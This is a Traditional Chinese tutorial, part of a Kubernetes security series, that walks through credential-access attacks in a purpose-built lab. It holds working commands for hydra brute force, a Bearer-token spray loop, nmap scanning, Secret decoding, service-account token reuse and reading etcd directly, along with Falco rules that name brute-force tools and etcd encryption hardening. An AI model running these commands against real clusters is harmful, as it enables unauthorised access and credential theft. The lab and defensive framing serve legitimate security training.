iT邦幫忙

2026 iThome 鐵人賽

DAY 16
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 16 篇

Day 16|三種憑證竊取:暴力破解 + Token 竊取 + 明文挖掘

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0006 Credential Access——攻擊者如何在 K8s 叢集中竊取憑證。

概覽

場景 ATT&CK 技術 攻擊手法
S24 T1110 Brute Force 對 Dashboard / API Server 暴力破解
S25 T1528 Steal Application Access Token 從環境變數 / ConfigMap 竊取 API Token
S26 T1552 Unsecured Credentials etcd 明文 Secrets + SA token + .docker/config.json

Credential Access 是 ATT&CK 攻擊鏈中承上啟下的關鍵戰術——攻擊者需要更多憑證來擴展權限和存取範圍。在 K8s 環境中,憑證無處不在:SA Token 自動掛載到每個 Pod、Secret 物件預設只有 base64 編碼、環境變數可能包含 API Key。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pods -n koad | grep -E "brute-forcer|token-leak"

預期結果:

brute-forcer        1/1     Running   0          ...
token-leak-app-...  1/1     Running   0          ...

如果 Pod 不在 Running 狀態,重新部署:

kubectl apply -f scenarios/credential-access/S24-brute-force.yaml
kubectl apply -f scenarios/credential-access/S25-steal-token.yaml
kubectl apply -f scenarios/credential-access/S26-unsecured-creds.yaml

2. 開啟 Falco 即時監控

# 第二終端 — 觀察憑證存取告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|token\|brute\|secret\|credential"

學習目標

完成本日實作後,你將能夠:

  • 使用 hydra 對 K8s Dashboard 發動 password spray
  • 從環境變數和 ConfigMap 中竊取明文憑證
  • 讀取 base64 編碼的 Secret 並解碼
  • 從 etcd 直接讀取未加密的 Secret
  • 觀察 Falco 偵測 SA Token 讀取行為
  • 理解為什麼 base64 不等於加密

S24:暴力破解(T1110)

攻擊原理

K8s 環境中可能暴露多種需要認證的服務——Dashboard、API Server Basic Auth(K8s 1.19 前)、管理介面。攻擊者使用暴力破解工具(hydra、medusa)對這些服務發動 password spray。

原理深入:K8s 環境中的暴力破解目標

K8s 暴力破解攻擊面

目標 連接埠 攻擊方式
K8s Dashboard 443/8443 HTTP Basic Auth / Token 猜測
API Server 6443 Bearer Token spray
etcd 2379 客戶端憑證暴力破解
Kubelet API 10250 Token 猜測
管理工具 各種 Grafana/Prometheus 弱密碼
應用服務 各種 DB、Redis、管理後台

KOAD 場景架構

KOAD 部署了一個使用 nginx auth_basic 的假 Dashboard:

apiVersion: v1
kind: ConfigMap
metadata:
  name: dashboard-auth
  namespace: koad
data:
  default.conf: |
    server {
        listen 443;
        server_name dashboard.koad.local;
        location / {
            auth_basic "Kubernetes Dashboard";
            auth_basic_user_file /etc/nginx/.htpasswd;
            root /usr/share/nginx/html;
            index index.html;
        }
    }
  # 弱密碼:admin / kubernetes123
  .htpasswd: "admin:$apr1$xyz$HASH_OF_kubernetes123"

搭配 brute-forcer Pod(內含 hydra、curl、nmap):

apiVersion: v1
kind: Pod
metadata:
  name: brute-forcer
  namespace: koad
  labels:
    koad-scenario: S24
    mitre-attck: T1110
spec:
  containers:
    - name: hydra
      image: koad/brute-forcer:latest
      command: ["sh", "-c", "sleep infinity"]

YAML 設計解析

S24 由兩個元件組成——攻擊目標和攻擊工具:

# 目標:模擬不安全的 Dashboard
auth_basic "Kubernetes Dashboard";          # HTTP Basic Auth,最容易被暴力破解的認證方式
auth_basic_user_file /etc/nginx/.htpasswd;  # 弱密碼 admin:kubernetes123
type: NodePort / nodePort: 30443            # NodePort 暴露,叢集外可直接存取

# 工具:brute-forcer Pod
image: koad/brute-forcer:latest             # 內建 hydra、nmap、curl 等滲透工具

關鍵設計點:

  • NodePort 30443:模擬真實環境中 Dashboard 被暴露到外部網路的情境
  • HTTP Basic Auth:比 Token 認證更容易被暴力破解,且 K8s 預設不限制認證嘗試次數
  • brute-forcer 在叢集內:模擬攻擊者已取得初始存取(如 S01 SSRF),從叢集內部發動橫向暴力破解

設計理由

S24 選擇暴力破解作為憑證存取的第一個場景,因為它是最低技術門檻的攻擊——只需要一個工具和一份字典檔。2020 年 Microsoft 發布的 K8s 威脅報告指出,暴露的 Dashboard 是最常被自動化掃描器攻擊的目標之一。KOAD 同時模擬 HTTP Basic Auth 和 API Server Token Spray 兩種攻擊向量,讓學員理解為什麼 K8s 應該啟用 --enable-admission-plugins=EventRateLimit 和 OIDC 取代靜態 Token。

攻擊步驟

步驟 1:進入 brute-forcer Pod

# 主機終端
kubectl exec -it -n koad brute-forcer -- bash

預期結果:

root@brute-forcer:/#

攻擊者 Pod 已預裝 hydra、nmap 等暴力破解工具,可以直接對叢集內部服務發動密碼猜測攻擊。

進入暴力破解 Pod

以下步驟 2–5 在容器內(brute-forcer)執行。

步驟 2:使用 hydra 暴力破解 Dashboard

# 容器內 (brute-forcer)
hydra -l admin -P /wordlists/common.txt \
    kube-dashboard.koad http-get / -s 443 -f

預期結果:

Hydra v9.5 (c) 2023 by van Hauser/THC
[443][http-get] host: kube-dashboard.koad   login: admin   password: kubernetes123
1 of 1 target successfully completed, 1 valid password found

hydra 成功以字典攻擊破解 Dashboard 密碼。叢集內部服務若使用弱密碼且無帳號鎖定機制,暴力破解通常在數秒內完成。

Falco 觀察:hydra 執行時,Falco 立即偵測到暴力破解工具:

[WARNING] KOAD S24 Brute Force Attempt (pod=brute-forcer command=hydra -l admin ...)

hydra 暴力破解 Dashboard

步驟 3:驗證破解結果

curl -sk -u admin:kubernetes123 https://kube-dashboard.koad/

預期結果:

<!DOCTYPE html><html>...(Dashboard HTML 頁面)

成功使用破解的密碼存取 Dashboard。

驗證 Dashboard 存取

步驟 4:API Server Token Spray

for token in $(cat /wordlists/tokens.txt); do
    response=$(curl -sk -o /dev/null -w "%{http_code}" \
      -H "Authorization: Bearer $token" \
      https://kubernetes.default/api/v1/namespaces)
    if [ "$response" = "200" ]; then
      echo "[!] Valid token found: ${token:0:20}..."
      break
    fi
  done

預期結果:

[!] Valid token found: eyJhbGciOiJSUzI1Ni...

Token Spray 是對 API Server 逐一嘗試已知或洩漏的 Bearer Token,HTTP 200 表示該 Token 有效且具備 list namespaces 權限,攻擊者可藉此取得叢集存取。

API Server Token Spray

步驟 5:使用 nmap 尋找其他認證端點

nmap -sT -p 443,8443,6443,3000,9090,30000-32767 10.96.0.0/24

預期結果:

PORT      STATE SERVICE
443/tcp   open  https        ← Dashboard
3000/tcp  open  ppp          ← Grafana(可能有預設密碼 admin/admin)
9090/tcp  open  zeus-admin   ← Prometheus(通常無認證)

叢集內的監控工具(Grafana、Prometheus)經常使用預設密碼或完全無認證,是攻擊者最容易突破的橫向移動跳板。

nmap 掃描認證端點

攻擊者視角:為什麼暴力破解仍然有效

弱點 說明 出現頻率
預設密碼 Grafana admin/admin、Dashboard token 非常常見
弱密碼 kubernetes123、admin@123 常見
無 Rate Limiting API Server 預設不限制認證嘗試 幾乎所有叢集
無帳號鎖定 K8s 沒有內建帳號鎖定機制 所有叢集
Token 可預測 某些自動產生的 Token 使用弱隨機數 少見但存在

Falco 偵測

- rule: KOAD S24 Brute Force Attempt
  desc: Detect brute force tools execution in containers
  condition: >
    spawned_process and container and
    proc.name in (hydra, medusa, ncrack, patator, crowbar)
  output: >
    Brute force tool detected in container
    (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
     command=%proc.cmdline user=%user.name)
  priority: WARNING
  tags: [KOAD, T1110, credential-access, brute-force]

Falco 偵測 hydra、medusa、ncrack 等暴力破解工具的執行。但攻擊者如果使用自製腳本(如上面的 curl loop),Falco 無法偵測——需要搭配 API Server 的 Audit Log 偵測異常的認證失敗頻率。


S25:竊取應用 Access Token(T1528)

攻擊原理

開發者經常把 API Token、密碼和金鑰放在不該放的地方——環境變數、ConfigMap、甚至原始碼中。攻擊者只需要存取 Pod 或讀取 ConfigMap,就能取得這些憑證。

原理深入:開發者的壞習慣

安全的做法:

KOAD 場景

S25 展示了兩個常見的 Token 洩漏管道:

1. 環境變數洩漏

apiVersion: apps/v1
kind: Deployment
metadata:
  name: token-leak-app
  namespace: koad
spec:
  replicas: 1
  selector:
    matchLabels:
      app: token-leak-app
  template:
    metadata:
      labels:
        app: token-leak-app
        koad-scenario: S25
    spec:
      containers:
        - name: app
          image: busybox:1.36
          command: ["sh", "-c", "sleep infinity"]
          env:
            - name: API_KEY
              value: "sk-FAKE-API-KEY-FOR-DEMO-12345"
            - name: DATABASE_URL
              value: "postgresql://admin:P@ssw0rd@db:5432/myapp"
            - name: JWT_SECRET
              value: "super-secret-jwt-key-do-not-share"
            - name: GITHUB_TOKEN
              value: "ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY"

2. ConfigMap 洩漏

apiVersion: v1
kind: ConfigMap
metadata:
  name: app-secrets-exposed
  namespace: koad
data:
  config.yaml: |
    github:
      token: ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY_1234567890
    slack:
      webhook: https://hooks.slack.com/services/T00000000/B00000000/XXXX
    aws:
      access_key: AKIAIOSFODNN7EXAMPLE
      secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
    database:
      password: ProductionDbPassword!

YAML 設計解析

S25 刻意重現兩種最常見的憑證洩漏反模式:

# 反模式 1:環境變數明文存放
env:
  - name: API_KEY
    value: "sk-FAKE-API-KEY-FOR-DEMO-12345"     # 任何能 exec 進容器或讀取 Pod spec 的人都能看到
  - name: DATABASE_URL
    value: "postgresql://admin:P@ssw0rd@db:5432" # 連接字串包含帳號密碼

# 反模式 2:ConfigMap 當 Secret 用
kind: ConfigMap                                   # ConfigMap 沒有任何存取控制或加密
data:
  config.yaml: |
    aws:
      access_key: AKIAIOSFODNN7EXAMPLE            # 雲端 IAM 憑證放在 ConfigMap
  • 環境變數:透過 kubectl describe pod 或 /proc/1/environ 即可讀取,無需特殊權限
  • ConfigMap vs Secret:ConfigMap 設計用途是非敏感設定,不受 RBAC 的 Secret 存取限制
  • 多種 Token 類型:KOAD 放入 GitHub PAT、Slack Webhook、AWS Key、JWT Secret,模擬真實應用的複雜憑證環境

設計理由

S25 的設計來自 GitGuardian 2024 年報告:每年 GitHub 上有超過 1,200 萬筆 Secret 被意外提交。在 K8s 環境中,同樣的壞習慣從 Git 延伸到 Pod spec 和 ConfigMap。KOAD 選擇展示環境變數和 ConfigMap 兩條路徑,是因為它們分別對應「開發者圖方便」和「誤解 ConfigMap 用途」兩種根本原因,修復方式也不同——前者用 Secret + volumeMount,後者需要 RBAC 限制 + External Secrets Operator。

攻擊步驟

以下 S25 步驟 1–5 在主機終端用 kubectl 執行,步驟 6 在容器內執行。

步驟 1:讀取 Pod 的環境變數

# 主機終端
kubectl exec -n koad deploy/token-leak-app -- env | grep -iE 'KEY|SECRET|TOKEN|PASSWORD|URL'

預期結果:

API_KEY=sk-FAKE-API-KEY-FOR-DEMO-12345
DATABASE_URL=postgresql://admin:P@ssw0rd@db:5432/myapp
JWT_SECRET=super-secret-jwt-key-do-not-share
GITHUB_TOKEN=ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY

最簡單的憑證竊取——所有敏感資訊一覽無遺。

讀取 Pod 環境變數

步驟 2:用 describe 也能看到環境變數

kubectl describe pod -n koad -l app=token-leak-app | grep -A1 -E 'API_KEY|DATABASE|SECRET|TOKEN'

預期結果:

      API_KEY:        sk-FAKE-API-KEY-FOR-DEMO-12345
      DATABASE_URL:   postgresql://admin:P@ssw0rd@db:5432/myapp

不需要 exec 權限,describe 就能看到。

describe 洩漏環境變數

步驟 3:讀取 ConfigMap

kubectl get configmap app-secrets-exposed -n koad -o yaml

預期結果:

apiVersion: v1
data:
  config.yaml: |
    github:
      token: ghp_FAKE_TOKEN_FOR_DEMO_PURPOSES_ONLY_1234567890
    aws:
      access_key: AKIAIOSFODNN7EXAMPLE
      secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

ConfigMap 不是設計來存放機密的,它沒有任何加密或存取控制。開發者誤用 ConfigMap 存放 API Key 和雲端憑證,任何有 get configmap 權限的人都能直接讀取。

讀取 ConfigMap 敏感資訊

步驟 4:批量搜尋所有 ConfigMap 中的敏感資訊

kubectl get configmaps -A -o json | \
    grep -iE 'password|token|secret|key|credential' | head -20

預期結果:

"password": "ProductionDbPassword!"
"token": "ghp_FAKE_TOKEN_FOR_DEMO..."
...

批量 grep 可在數秒內掃完所有 namespace 的 ConfigMap,找出散落各處的敏感資訊。這也是安全稽核時的標準檢查手法。

步驟 5:搜尋所有 Pod 的環境變數

kubectl get pods -A -o json | \
    jq -r '.items[].spec.containers[].env[]? | select(.value != null) |
    select(.name | test("KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL";"i")) |
    "\(.name) = \(.value)"'

預期結果:

API_KEY = sk-FAKE-API-KEY-FOR-DEMO-12345
JWT_SECRET = super-secret-jwt-key-do-not-share
...

用 jq 過濾 Pod spec 中名稱含 KEY/SECRET/TOKEN/PASSWORD 的環境變數,快速定位所有明文儲存的憑證。

批量搜尋 Pod 環境變數

步驟 6:從容器內讀取 /proc/self/environ

# 容器內 (token-leak-app)
cat /proc/self/environ | tr '\0' '\n' | grep -iE 'key|secret|token|password'

預期結果:

API_KEY=sk-FAKE-API-KEY-FOR-DEMO-12345
JWT_SECRET=super-secret-jwt-key-do-not-share

容器內任何 process 都能讀取所有環境變數。

從 /proc 讀取環境變數

為什麼環境變數不安全

洩漏管道 說明 風險等級
kubectl describe pod 環境變數在 Pod spec 中明文可見 高
/proc/self/environ 容器內任何 process 都能讀取 高
/proc/<pid>/environ 同 namespace 的其他容器可讀 中
Core dump crash 時環境變數會被 dump 到檔案 中
日誌 應用 debug 輸出可能包含環境變數 中
子 process fork 的子 process 繼承所有環境變數 低
K8s Audit Log Pod create 事件記錄完整 spec 高

正確做法:使用 Secret + Volume

# 正確:用 Secret 物件存放,透過 Volume 掛載
spec:
  containers:
    - name: app
      image: myapp:latest
      volumeMounts:
        - name: secrets
          mountPath: /etc/secrets
          readOnly: true
      env:
        - name: DB_PASSWORD
          valueFrom:
            secretKeyRef:           # ← 從 Secret 引用,不是直接寫值
              name: db-credentials
              key: password
  volumes:
    - name: secrets
      secret:
        secretName: app-credentials
        defaultMode: 0400           # ← 只有 owner 可讀

S26:明文憑證竊取(T1552)

攻擊原理

K8s 的 Secret 物件預設只是 base64 編碼,不是加密。任何能讀取 Secret 的 SA 都能取得原始值。更嚴重的是,etcd 預設也不加密 Secret 資料。

原理深入:base64 不是加密

加密 vs 編碼的差異:

KOAD 場景

apiVersion: v1
kind: Secret
metadata:
  name: database-credentials
  namespace: koad
  labels:
    koad-scenario: S26
type: Opaque
data:
  username: YWRtaW4=              # base64("admin")
  password: UEBzc3cwcmQxMjM=      # base64("P@ssw0rd123")

---
apiVersion: v1
kind: Secret
metadata:
  name: docker-registry-creds
  namespace: koad
type: kubernetes.io/dockerconfigjson
data:
  .dockerconfigjson: eyJhdXRocyI6eyJyZWdpc3RyeS5leGFtcGxlLmNvbSI6eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJQQHNzdzByZCIsImF1dGgiOiJZV1J0YVc0NlVFQnpjM2N3Y21RPSJ9fX0=

YAML 設計解析

S26 展示三層憑證竊取路徑:

# 層次 1:K8s Secret(base64 編碼,非加密)
type: Opaque
data:
  username: YWRtaW4=          # echo YWRtaW4= | base64 -d → "admin"
  password: UEBzc3cwcmQxMjM=  # echo UEBzc3cwcmQxMjM= | base64 -d → "P@ssw0rd123"

# 層次 2:Docker Registry 憑證
type: kubernetes.io/dockerconfigjson       # 包含 Registry 帳密,被竊取可推送惡意映像
data:
  .dockerconfigjson: eyJhdXRocy...         # base64 解碼後是完整的 docker login 憑證

# 層次 3:攻擊 Pod 配置
serviceAccountName: overprivileged-sa      # 擁有讀取所有 Secret 的權限
image: bitnami/kubectl:latest              # kubectl get secrets -o yaml 一行搞定
  • Opaque Secret:最常見的 Secret 類型,kubectl get secret -o yaml 即可取得 base64 值
  • dockerconfigjson:竊取後可登入私有 Registry,推送含後門的映像(供應鏈攻擊)
  • overprivileged-sa:模擬過度授權的 SA,在真實環境中常見於監控、備份等系統元件

設計理由

S26 是 KOAD 中最直接揭露 K8s 安全設計缺陷的場景:Secret 物件的 base64 編碼給人一種「已經加密」的錯覺,但實際上只是編碼。2023 年 Aqua Security 的調查發現,超過 50% 的 K8s 叢集未啟用 etcd 靜態加密(EncryptionConfiguration)。KOAD 刻意放入 Opaque 和 dockerconfigjson 兩種 Secret 類型,加上自動掛載的 SA Token,讓學員體驗完整的「Secret 竊取 → base64 解碼 → 橫向利用」攻擊鏈。

攻擊步驟

步驟 1:列出所有 Secrets

kubectl get secrets -n koad

預期結果:

NAME                    TYPE                             DATA   AGE
database-credentials    Opaque                           2      38m
docker-registry-creds   kubernetes.io/dockerconfigjson   1      38m
default-token-xxx       kubernetes.io/service-account-token 3   38m

了解有哪些憑證可以偷。

列出 koad namespace 的 Secrets

步驟 2:讀取 Secret 並 base64 解碼

kubectl get secret database-credentials -n koad \
    -o jsonpath='{.data.password}' | base64 -d

預期結果:

P@ssw0rd123

一行指令取得明文密碼。

base64 解碼 Secret

步驟 3:讀取 Docker Registry 憑證

kubectl get secret docker-registry-creds -n koad \
    -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq

預期結果:

{
  "auths": {
    "registry.example.com": {
      "username": "admin",
      "password": "P@ssw0rd",
      "auth": "YWRtaW46UEBzc3cwcmQ="
    }
  }
}

dockerconfigjson 類型 Secret 包含私有 Registry 的帳密,攻擊者取得後可以拉取私有映像檔(讀取原始碼)或推送惡意映像檔(供應鏈攻擊)。

讀取 Docker Registry 憑證

步驟 4:讀取自動掛載的 SA Token

cat /var/run/secrets/kubernetes.io/serviceaccount/token

預期結果:

eyJhbGciOiJSUzI1NiIsImtpZCI6Im...

K8s 預設會自動掛載 SA Token 到每個 Pod 的 /var/run/secrets/ 路徑。這個 JWT 可直接用於 API Server 認證,是容器內最容易取得的憑證。

讀取 SA Token

步驟 5:用 SA Token 存取 API Server

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" \
    https://kubernetes.default/api/v1/namespaces/koad/secrets

預期結果:

{
  "kind": "SecretList",
  "items": [...]
}

如果 SA 有 list secrets 權限,就能列出所有 Secret。

用 SA Token 存取 Secrets API

步驟 6:從 etcd 直接讀取 Secrets

此步驟需要先逃逸到 control plane 節點並取得 etcd 客戶端憑證(參考 Day 8–11)。

# 已逃逸到 control plane 節點
ETCDCTL_API=3 etcdctl get /registry/secrets/koad/database-credentials \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/server.crt \
    --key=/etc/kubernetes/pki/etcd/server.key

預期結果:

/registry/secrets/koad/database-credentials
k8s:enc:identity:v1:...P@ssw0rd123...

如果未設定 EncryptionConfiguration,Secret 資料以明文存放在 etcd 中。

從 etcd 讀取未加密 Secret

步驟 7:批量匯出所有 Secret

kubectl get secrets -A -o json | \
    jq -r '.items[] | select(.type == "Opaque") |
    "\(.metadata.namespace)/\(.metadata.name): \(.data | keys)"'

預期結果:

koad/database-credentials: ["password","username"]
koad-production/production-db-creds: ["host","password","username"]

一次列出所有 namespace 的 Opaque 類型 Secret 及其 key 名稱,攻擊者可據此判斷哪些 Secret 最有價值,再逐一 base64 解碼取得明文。

批量匯出所有 Opaque Secrets

SA Token 在攻擊鏈中的角色

在 KOAD 攻擊鏈中,Falco 為 SA Token 讀取產生了 85 筆告警——這是觸發最多的規則。每次 kubectl 執行都會讀取 SA Token(/var/run/secrets/kubernetes.io/serviceaccount/token),所以這個數字反映了攻擊鏈中 kubectl 的使用頻率。

SA Token 讀取的攻擊鏈分佈:

  kubectl get pods          → 讀取 Token → Falco 告警
  kubectl get secrets       → 讀取 Token → Falco 告警
  kubectl exec              → 讀取 Token → Falco 告警
  kubectl apply             → 讀取 Token → Falco 告警
  kubectl delete            → 讀取 Token → Falco 告警
  ... × 85 次操作 = 85 筆告警

  核心問題:每個 Pod 預設掛載 SA Token
  = 每個被攻破的 Pod 都自帶一把鑰匙

Falco 偵測

- rule: KOAD S26 SA Token Read
  desc: Detect non-system processes reading ServiceAccount tokens
  condition: >
    open_read and container and
    fd.name = /var/run/secrets/kubernetes.io/serviceaccount/token and
    not proc.name in (kubelet, kube-proxy, coredns)
  output: >
    ServiceAccount token read by non-system process
    (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
     command=%proc.cmdline user=%user.name)
  priority: NOTICE
  tags: [KOAD, T1552, credential-access]

偵測非 kubelet/kube-proxy process 讀取 SA token 檔案。


ATT&CK 攻擊鏈視角

Credential Access 是連接 Discovery 和 Lateral Movement 的橋梁:

TA0002 Execution


防禦深入:etcd Encryption at Rest

S26 揭露了一個關鍵事實:K8s Secret 在 etcd 中預設以明文(base64 編碼)儲存。任何能直接存取 etcd 的人都能讀取全部 Secret。解決方案是啟用 etcd 靜態加密。

EncryptionConfiguration

API Server 透過 --encryption-provider-config 參數載入加密設定:

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
      - secrets
    providers:
      # 首選:用於加密新寫入的資料
      - aescbc:
          keys:
            - name: key1
              secret: <BASE64_ENCODED_32_BYTE_KEY>
      # 備選:identity 允許讀取未加密的舊資料
      - identity: {}

加密 Provider 比較

Provider 演算法 強度 效能 建議用途
aescbc AES-256-CBC 高 中 通用首選
aesgcm AES-256-GCM 高 高 需要定期輪換金鑰(不輪換會有安全風險)
secretbox XSalsa20+Poly1305 高 高 較新的選擇
identity 無加密 無 最高 僅用於讀取未加密的歷史資料

啟用步驟

# 1. 產生加密金鑰
head -c 32 /dev/urandom | base64

# 2. 建立 EncryptionConfiguration(放在 /etc/kubernetes/enc/ 下)
# 3. 修改 API Server manifest 加入參數
#    --encryption-provider-config=/etc/kubernetes/enc/enc.yaml
# 4. 重新加密所有現有 Secret
kubectl get secrets --all-namespaces -o json | kubectl replace -f -

# 5. 驗證加密生效

驗證加密是否生效

# 建立測試 Secret
kubectl create secret generic test-encryption -n default --from-literal=mykey=mydata

# 直接從 etcd 讀取,確認資料已加密
ETCDCTL_API=3 etcdctl get /registry/secrets/default/test-encryption \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key | hexdump -C | head -20

加密前的輸出(明文可見):

00000000  ... k8s:enc:identity:v1: ...
00000040  ... m y d a t a ...           ← 明文 "mydata" 直接可見

加密後的輸出(亂碼):

00000000  ... k8s:enc:aescbc:v1:key1 ...
00000040  xx xx xx xx xx xx xx xx       ← 全部是加密後的亂碼,看不到 "mydata"

加密後 hexdump 輸出中不會出現明文字串。如果仍然看到 mydata,代表加密設定未生效——檢查 API Server 是否已載入 --encryption-provider-config 參數並重啟。

# 清理測試 Secret
kubectl delete secret test-encryption -n default

CKS 必考:etcd encryption at rest 幾乎每次 CKS 考試都會出現。你需要能背出 EncryptionConfiguration 的結構、知道怎麼修改 API Server 參數、以及如何驗證加密是否生效。


偵測總結

場景 Falco 規則 告警數(攻擊鏈) 其他偵測
S24 KOAD S24 Brute Force Attempt — API Server Audit Log 認證失敗記錄
S25 — — k8s_audit 偵測 ConfigMap 讀取 + RBAC 限制
S26 KOAD S26 SA Token Read 85 Audit Log 偵測 Secret list/get

CKS 考點

考點 本日內容 權重 考試提示
Secret 管理 base64 ≠ 加密 Cluster Hardening 15% 會考 EncryptionConfiguration(Day 17)
SA Token automountServiceAccountToken: false Cluster Hardening 15% 必考:Pod 和 SA 兩個層級都要設定
etcd 加密 EncryptionConfiguration Cluster Hardening 15% 必考:完整配置流程
RBAC 限制 Secret 的 get/list Cluster Hardening 15% 重點:list 比 get 更危險

清理與重設

# 主機終端 — 重建攻擊 Pod
kubectl delete pod -n koad brute-forcer 2>/dev/null
kubectl apply -f scenarios/credential-access/S24-brute-force.yaml
kubectl apply -f scenarios/credential-access/S25-steal-token.yaml
kubectl apply -f scenarios/credential-access/S26-unsecured-creds.yaml

本日場景為讀取操作,不會破壞環境。但如果你修改了 Audit Policy 或 etcd,請參考 Day 15 的清理步驟恢復。


常見問題排除

問題 原因 解法
hydra 找不到指令 brute-forcer Pod 未預裝或映像不同 kubectl exec -n koad brute-forcer -- which hydra 確認路徑;或用 apt-get install -y hydra 安裝
hydra 連線 Connection refused Dashboard Service 未啟動或連接埠錯誤 kubectl get svc -n koad kube-dashboard 確認 ClusterIP 和 Port
kubectl get secrets 回傳 Forbidden 目前 SA 沒有 list secrets 權限 kubectl auth can-i list secrets -n koad 檢查權限;確認 Pod 使用 overprivileged-sa
etcd 加密設定後 API Server 無法啟動 EncryptionConfiguration YAML 格式錯誤或金鑰長度不對 金鑰必須是 32 bytes 的 base64 編碼;用 head -c 32 /dev/urandom | base64 重新產生
etcdctl 連線失敗 connection refused etcd 未使用預設連接埠或需要 TLS 憑證 確認 --cacert、--cert、--key 路徑正確;Minikube 下用 minikube ssh 進入節點再執行
SA Token 路徑為空 Pod 設定了 automountServiceAccountToken: false 檢查 Pod spec 和 SA 的 automountServiceAccountToken 設定
base64 -d 輸出亂碼 欄位本身是二進位資料(如 dockerconfigjson 的巢狀編碼) 加上 | jq 做 JSON 格式化;或用 kubectl get secret -o jsonpath 指定欄位

完成度自我檢查

  • [ ] 能用 hydra 對 K8s Dashboard 發動暴力破解並觀察結果
  • [ ] 理解 K8s 預設沒有 API rate limiting 的安全隱患
  • [ ] 成功從環境變數和 ConfigMap 中找到明文憑證
  • [ ] 能用 base64 解碼 Secret 並理解為何 base64 不是加密
  • [ ] 知道如何從 etcd 直接讀取未加密的 Secret
  • [ ] 能解釋 SA Token 自動掛載的風險
  • [ ] 觀察到 Falco 偵測暴力破解和 Token 讀取的告警

本日小結

你完成了什麼

  • [x] 使用 hydra 暴力破解 K8s Dashboard(S24 password spray)
  • [x] 對 API Server 發動 Token Spray
  • [x] 從環境變數和 ConfigMap 竊取明文 API Key / 密碼(S25)
  • [x] 用 describe pod 看到明文環境變數
  • [x] base64 解碼 Secret 取得明文密碼(S26)
  • [x] 讀取 Docker Registry 憑證
  • [x] 從 etcd 直接讀取未加密 Secret
  • [x] 觀察 Falco 偵測暴力破解工具和 SA Token 讀取

關鍵帶走

  1. 暴力破解(S24):K8s 預設無 rate limiting,弱密碼數秒內被破
  2. Token 竊取(S25):環境變數和 ConfigMap 是憑證洩漏的重災區
  3. 明文 Secret(S26):base64 不是加密,etcd 預設不加密
  4. 核心觀念:K8s Secret 的安全性完全依賴 RBAC

下一步

明天 Day 17 的防禦篇會講 etcd 加密(EncryptionConfiguration)、External Secret Operator、Vault 整合和 Bound Token 機制——從根源解決憑證安全問題。



上一篇
Day 15|防禦破壞:停用 Falco + 竄改 Audit + 移除 Kyverno
下一篇
Day 17|防禦憑證竊取:etcd 加密 + Secret 管理 + Bound Token
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 17 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言